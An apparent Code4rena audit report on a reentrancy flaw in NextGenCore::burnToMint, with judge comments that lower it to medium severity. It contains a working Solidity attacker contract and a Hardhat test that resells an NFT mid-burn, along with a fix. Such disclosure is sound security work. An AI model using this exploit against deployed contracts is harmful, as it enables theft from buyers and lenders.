Flawed logic of NextGenCore::burnToMint makes NFTs worthless

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/NextGenCore.sol#L213-L223
https://github.com/code-423n4/2023-10-nextgen/blob/8b518196629faa37eae39736837b24926fd3c07c/hardhat/smart-contracts/ERC721.sol#L248

Vulnerability details

It is possible in the protocol to burn some NFT collections in order to get NFTs with other, newer collections. The function responsible for handling this logic is NextGenCore::burnToMint and its code is shown below:

    function burnToMint(uint256 mintIndex, uint256 _burnCollectionID, uint256 _tokenId, uint256 _mintCollectionID, uint256 _saltfun_o, address burner) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        require(_isApprovedOrOwner(burner, _tokenId), "ERC721: caller is not token owner or approved");
        collectionAdditionalData[_mintCollectionID].collectionCirculationSupply = collectionAdditionalData[_mintCollectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_mintCollectionID].collectionTotalSupply >= collectionAdditionalData[_mintCollectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
            // burn token
            _burn(_tokenId);
            burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
        }
    }

As can be noticed, it checks whether the burner has rights to burn the old NFT and, if he has, it mints him the new NFT and burns the old one. The problem is that the new NFT is minted before the old one is burned.

Indeed, if we look at the _mintProcessing function:

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

we will see that it calls _safeMint, which has the following code:

    function _safeMint(address to, uint256 tokenId, bytes memory data) internal virtual {
        _mint(to, tokenId);
        require(
            _checkOnERC721Received(address(0), to, tokenId, data),
            "ERC721: transfer to non ERC721Receiver implementer"
        );
    }

The important part is that it calls _checkOnERC721Received on the receiver. It opens up the reentrancy possibility.

In order to illustrate this, consider the following scenario:

1. There is a contract called X that gives some benefits for staking NFTs from the old collection in it - for instance, these NFTs can be used as a collateral for loans (so users can stake NFT, get some money and when they return the money back, they receive their NFT back).
2. Attacker deploys his smart contract called A and the attacker acquires an NFT (tokenId == 1) from the NextGen protocol for that contract.
3. When there is a possibility to burn that NFT and receive a new one (with tokenId == 2) from a newer collection, attacker through his contract A calls NextGenCore::burnToMint.
4. All checks will pass in NextGenCore::burnToMint, because A is the owner of the NFT with tokenId == 1, so A::_checkOnERC721Received will be called before burning the NFT.
5. Inside its _checkOnERC721Received, when NFT with tokenId == 2 is received, A will stake / sell its NFT with tokenId == 1 to the X contract and receive some money in return.
6. burn will be called on tokenId == 1 without any further validation, despite the fact that the owner of that NFT changed in the meantime (from A to X).
7. At the end of the transaction, A will have the new NFT and will have some money for the old one, and X will have nothing left as its NFT would be immediately burned.

Impact

The scenario shown above shows that since NextGenCore::burnToMint could be exploited this way, nobody will ever want to buy the NextGen NFTs as he would always risk the attack described above - there is no point in buying NFT that can be burned by someone else, who doesn't own it anymore. Because of that, the NFTs become essentially worthless as no one will want to buy them.

Since it is crucial for the protocol that the NFTs minted have some value and because of the attack I presented, they don't, I'm submitting this finding as High.

Proof of Concept

Please add the following contracts to the hardhat/smart-contracts folder:
The first one should be named Attacker.sol and contain the following code:

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "./MinterContract.sol";
import "./NFTBuyer.sol";
import "./NextGenCore.sol";
import "hardhat/console.sol";

contract Attacker is IERC721Receiver
{
    uint constant tokenId = 10000000000;
    NFTBuyer immutable nftBuyer;

    constructor(NFTBuyer _nftBuyer)
    {
        nftBuyer = _nftBuyer;
    }

    function onERC721Received(
        address operator,
        address from,
        uint256 _tokenId,
        bytes calldata data
    ) external returns (bytes4)
    {
        if (_tokenId != tokenId)
            NextGenCore(msg.sender).safeTransferFrom(address(this), address(nftBuyer), tokenId);
        return this.onERC721Received.selector;
    }

    function burnToMint(address minter) external
    {
        NextGenMinterContract(minter).burnToMint(1, tokenId, 2, 0);
    }

    receive() external payable
    {

    }
}

The second one should be named NFTBuyer.sol and contain the following code:

pragma solidity ^0.8.19;

import "./IERC721Receiver.sol";
import "hardhat/console.sol";

// this contracts simulates any contract that would give some benefit for staking any NFT from the
// NextGen protocol; NFT could be staked, for instance, as a collateral for borrowing some asset;
// the contract is very simplified, so that it just sends ETH to the address that sent the NFT;
// normally it would have more compex logic, but just sending ETH is suffiecient to prove the point of stated
// in the report
contract NFTBuyer is IERC721Receiver
{
    constructor() payable
    {

    }

    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4)
    {
        console.log("sending 1 ether to ", from);
        payable(from).transfer(1 ether);
        return this.onERC721Received.selector;
    }
}

Moreover, please add the following test to the nextGen.test.js:

  context("Vulnerabilities", () => {
    it("Selling almost burned NFT", async function () {
      // deploy the NFTBuyer instance that simulates any contract giving some benefit for an NFT from the 
      // NextGen protocol; such benefit can be, for example, possibility to use an NFT as a loan collateral
      const NFTBuyerFactory = await ethers.getContractFactory("NFTBuyer")
      
      // give NFTBuyer 1 ether so that buying an NFT can be simulated later on
      const NFTBuyer = await NFTBuyerFactory.deploy({value: "1000000000000000000"})

      // deploy the Attacker contract which will be used for the exploits
      const AttackerFactory = await ethers.getContractFactory("Attacker")
      const Attacker = await AttackerFactory.deploy(await NFTBuyer.getAddress())
      console.log(`attacker = ${await Attacker.getAddress()}`)
      console.log(`nftBuyer = ${await NFTBuyer.getAddress()}`)
      console.log(`signer1 = ${signers.addr1.address}`)

      // create collections and set relevant parameters
      await contracts.hhCore.createCollection(
        "Test Collection 1",
        "Artist 1",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      await contracts.hhCore.createCollection(
        "Test Collection 2",
        "Artist 2",
        "For testing",
        "www.test.com",
        "CCO",
        "https://ipfs.io/ipfs/hash/",
        "",
        ["desc"],
      )

      await contracts.hhAdmin.registerCollectionAdmin(
        1,
        signers.addr1.address,
        true,
      )

      await contracts.hhAdmin.registerCollectionAdmin(
        2,
        signers.addr1.address,
        true,
      )

      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        0, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        1, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        2, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        0, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      await contracts.hhCore.connect(signers.addr1).setCollectionData(
        2, // _collectionID
        signers.addr1.address, // _collectionArtistAddress
        2, // _maxCollectionPurchases
        10000, // _collectionTotalSupply
        0, // _setFinalSupplyTimeAfterMint
      )

      await contracts.hhCore.addMinterContract(
        contracts.hhMinter,
      )

      await contracts.hhCore.addRandomizer(
        1, contracts.hhRandomizer,
      )

      await contracts.hhCore.addRandomizer(
        2, contracts.hhRandomizer,
      )

      await contracts.hhMinter.setCollectionCosts(
        1, // _collectionID
        0, // _collectionMintCost
        0, // _collectionEndMintCost
        0, // _rate
        0, // _timePeriod
        1, // _salesOptions
        '0x0000000000000000000000000000000000000000', // any valid address
      )
      
      await contracts.hhMinter.setCollectionCosts(2, 0, 0, 0, 0, 0, signers.addr1.address)

      // set collection phases with a random merkle root
      await contracts.hhMinter.setCollectionPhases(2, 0, 1e12, 0, 1e12, "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870")

      // airdrop some NFTs so that the attacker receives one; in reality he could acquire it also in any other way
      await contracts.hhMinter.airDropTokens(
        [Attacker.getAddress(), signers.addr1.address], // _recipients
        ['{"tdh": "100"}','{"tdh": "200"}'], // _numberOfTokens
        [1,2], // _varg0
        1, // _collectionID
        [1,2], // _numberOfTokens
      )

      // initialise burn so that NFTs may be burned in order to get NFTs from the new collection
      await contracts.hhMinter.initializeBurn(1, 2, true);

      // attacker calls `burnToMint`, but when he receives the new NFT, he immediately sells the old one
      // it will be burned by the protocol later on, leaving the NFTBuyer without money and without the NFT
      await Attacker.burnToMint(await contracts.hhMinter.getAddress()); 

      // confirm that NFTBuyer doesn't have any money nor NFT, but attacker has new NFT and money for the old one
      console.log(`Attacker's balance: ${await ethers.provider.getBalance(Attacker.getAddress())}`)
      console.log(`NFTBuyer's balance: ${await ethers.provider.getBalance(NFTBuyer.getAddress())}`)
      await expect(contracts.hhCore.ownerOf(10000000000)).to.be.revertedWith("ERC721: invalid token ID")
    })
  });

Tools Used

VS Code

Recommended Mitigation Steps

Call _burn before _mintProcessing in NextGenCore::burnToMint.

Assessed type

Reentrancy

[c4-pre-sort]

141345 marked the issue as duplicate of #1198

[c4-pre-sort]

141345 marked the issue as duplicate of #1597

[c4-pre-sort]

141345 marked the issue as duplicate of #1742

[c4-judge]

alex-ppg marked the issue as not a duplicate

[c4-judge]

alex-ppg marked the issue as duplicate of #1597

[c4-judge]

alex-ppg changed the severity to 2 (Med Risk)

[c4-judge]

alex-ppg marked the issue as satisfactory